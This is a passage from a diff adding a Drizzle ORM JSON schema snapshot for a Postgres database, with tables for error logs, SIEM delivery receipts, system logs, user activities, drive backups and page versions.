"name": "line", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "column": { + "name": "column", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "resolved": { + "name": "resolved", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "resolved_by": { + "name": "resolved_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolution": { + "name": "resolution", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_errors_timestamp": { + "name": "idx_errors_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_name": { + "name": "idx_errors_name", + "columns": [ + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_user_id": { + "name": "idx_errors_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_resolved": { + "name": "idx_errors_resolved", + "columns": [ + { + "expression": "resolved", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_endpoint": { + "name": "idx_errors_endpoint", + "columns": [ + { + "expression": "endpoint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.error_resolutions": { + "name": "error_resolutions", + "schema": "", + "columns": { + "error_id": { + "name": "error_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "resolved": { + "name": "resolved", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resolved_by": { + "name": "resolved_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolution": { + "name": "resolution", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.siem_delivery_cursors": { + "name": "siem_delivery_cursors", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastDeliveredId": { + "name": "lastDeliveredId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastDeliveredAt": { + "name": "lastDeliveredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastErrorAt": { + "name": "lastErrorAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deliveryCount": { + "name": "deliveryCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "siem_delivery_cursors_delivered_cursor_pair": { + "name": "siem_delivery_cursors_delivered_cursor_pair", + "value": "(\"siem_delivery_cursors\".\"lastDeliveredId\" IS NULL) = (\"siem_delivery_cursors\".\"lastDeliveredAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.siem_delivery_receipts": { + "name": "siem_delivery_receipts", + "schema": "", + "columns": { + "receiptId": { + "name": "receiptId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "deliveryId": { + "name": "deliveryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "firstEntryId": { + "name": "firstEntryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastEntryId": { + "name": "lastEntryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "firstEntryTimestamp": { + "name": "firstEntryTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "lastEntryTimestamp": { + "name": "lastEntryTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "entryCount": { + "name": "entryCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "deliveredAt": { + "name": "deliveredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "webhookStatus": { + "name": "webhookStatus", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "webhookResponseHash": { + "name": "webhookResponseHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ackReceivedAt": { + "name": "ackReceivedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "siem_delivery_receipts_delivery_source_unique": { + "name": "siem_delivery_receipts_delivery_source_unique", + "columns": [ + { + "expression": "deliveryId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_delivery_id": { + "name": "idx_siem_receipts_delivery_id", + "columns": [ + { + "expression": "deliveryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_first_entry": { + "name": "idx_siem_receipts_first_entry", + "columns": [ + { + "expression": "firstEntryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_last_entry": { + "name": "idx_siem_receipts_last_entry", + "columns": [ + { + "expression": "lastEntryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_delivered_at": { + "name": "idx_siem_receipts_delivered_at", + "columns": [ + { + "expression": "deliveredAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_source_range": { + "name": "idx_siem_receipts_source_range", + "columns": [ + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "firstEntryTimestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastEntryTimestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.system_logs": { + "name": "system_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "level": { + "name": "level", + "type": "log_level", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_name": { + "name": "error_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_stack": { + "name": "error_stack", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "memory_used": { + "name": "memory_used", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "memory_total": { + "name": "memory_total", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "hostname": { + "name": "hostname", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pid": { + "name": "pid", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "version": { + "name": "version", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_system_logs_timestamp": { + "name": "idx_system_logs_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_level": { + "name": "idx_system_logs_level", + "columns": [ + { + "expression": "level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_category": { + "name": "idx_system_logs_category", + "columns": [ + { + "expression": "category", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_user_id": { + "name": "idx_system_logs_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_request_id": { + "name": "idx_system_logs_request_id", + "columns": [ + { + "expression": "request_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_system_logs_error": { + "name": "idx_system_logs_error", + "columns": [ + { + "expression": "error_name", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_activities": { + "name": "user_activities", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource": { + "name": "resource", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_user_activities_timestamp": { + "name": "idx_user_activities_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_user_id": { + "name": "idx_user_activities_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_action": { + "name": "idx_user_activities_action", + "columns": [ + { + "expression": "action", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_user_activities_resource": { + "name": "idx_user_activities_resource", + "columns": [ + { + "expression": "resource", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_files": { + "name": "drive_backup_files", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "storagePath": { + "name": "storagePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sizeBytes": { + "name": "sizeBytes", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "checksumVersion": { + "name": "checksumVersion", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_files_backup_idx": { + "name": "drive_backup_files_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_files_backupId_drive_backups_id_fk": { + "name": "drive_backup_files_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_files", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_files_backupId_fileId_pk": { + "name": "drive_backup_files_backupId_fileId_pk", + "columns": [ + "backupId", + "fileId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_members": { + "name": "drive_backup_members", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_members_backup_idx": { + "name": "drive_backup_members_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_members_backupId_drive_backups_id_fk": { + "name": "drive_backup_members_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_members", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_members_backupId_userId_pk": { + "name": "drive_backup_members_backupId_userId_pk", + "columns": [ + "backupId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_pages": { + "name": "drive_backup_pages", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageVersionId": { + "name": "pageVersionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalParentId": { + "name": "originalParentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_pages_backup_idx": { + "name": "drive_backup_pages_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_pages_backupId_drive_backups_id_fk": { + "name": "drive_backup_pages_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_pages", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_backup_pages_pageVersionId_page_versions_id_fk": { + "name": "drive_backup_pages_pageVersionId_page_versions_id_fk", + "tableFrom": "drive_backup_pages", + "tableTo": "page_versions", + "columnsFrom": [ + "pageVersionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_pages_backupId_pageId_pk": { + "name": "drive_backup_pages_backupId_pageId_pk", + "columns": [ + "backupId", + "pageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_permissions": { + "name": "drive_backup_permissions", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "canView": { + "name": "canView", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "canEdit": { + "name": "canEdit", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canShare": { + "name": "canShare", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canDelete": { + "name": "canDelete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "grantedBy": { + "name": "grantedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_permissions_backup_idx": { + "name": "drive_backup_permissions_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_permissions_backupId_drive_backups_id_fk": { + "name": "drive_backup_permissions_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_permissions", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_permissions_backupId_pageId_userId_pk": { + "name": "drive_backup_permissions_backupId_pageId_userId_pk", + "columns": [ + "backupId", + "pageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_roles": { + "name": "drive_backup_roles", + "schema": "", + "columns": { + "backupId": { + "name": "backupId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "roleId": { + "name": "roleId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isDefault": { + "name": "isDefault", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "drive_wide_permissions": { + "name": "drive_wide_permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "NULL" + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backup_roles_backup_idx": { + "name": "drive_backup_roles_backup_idx", + "columns": [ + { + "expression": "backupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_roles_backupId_drive_backups_id_fk": { + "name": "drive_backup_roles_backupId_drive_backups_id_fk", + "tableFrom": "drive_backup_roles", + "tableTo": "drive_backups", + "columnsFrom": [ + "backupId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_backup_roles_backupId_roleId_pk": { + "name": "drive_backup_roles_backupId_roleId_pk", + "columns": [ + "backupId", + "roleId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backup_schedules": { + "name": "drive_backup_schedules", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "frequency": { + "name": "frequency", + "type": "drive_backup_schedule_frequency", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'daily'" + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastRunAt": { + "name": "lastRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "drive_backup_schedules_enabled_next_run_idx": { + "name": "drive_backup_schedules_enabled_next_run_idx", + "columns": [ + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backup_schedules_driveId_drives_id_fk": { + "name": "drive_backup_schedules_driveId_drives_id_fk", + "tableFrom": "drive_backup_schedules", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_backup_schedules_driveId_unique": { + "name": "drive_backup_schedules_driveId_unique", + "nullsNotDistinct": false, + "columns": [ + "driveId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_backups": { + "name": "drive_backups", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgVisibility": { + "name": "orgVisibility", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "drive_backup_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "status": { + "name": "status", + "type": "drive_backup_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "isPinned": { + "name": "isPinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "completedAt": { + "name": "completedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedAt": { + "name": "failedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failureReason": { + "name": "failureReason", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_backups_drive_created_at_idx": { + "name": "drive_backups_drive_created_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_backups_status_idx": { + "name": "drive_backups_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_backups_driveId_drives_id_fk": { + "name": "drive_backups_driveId_drives_id_fk", + "tableFrom": "drive_backups", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_backups_createdBy_users_id_fk": { + "name": "drive_backups_createdBy_users_id_fk", + "tableFrom": "drive_backups", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_backups_change_group_pair": { + "name": "drive_backups_change_group_pair", + "value": "(\"drive_backups\".\"changeGroupId\" IS NULL) = (\"drive_backups\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.page_versions": { + "name": "page_versions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "page_version_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'auto'" + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentRef": { + "name": "contentRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentFormat": { + "name": "contentFormat", + "type": "content_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentSize": { + "name": "contentSize", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "stateHash": { + "name": "stateHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageRevision": { + "name": "pageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "isPinned": { + "name": "isPinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_versions_page_created_at_idx": { + "name": "page_versions_page_created_at_idx", + "columns": 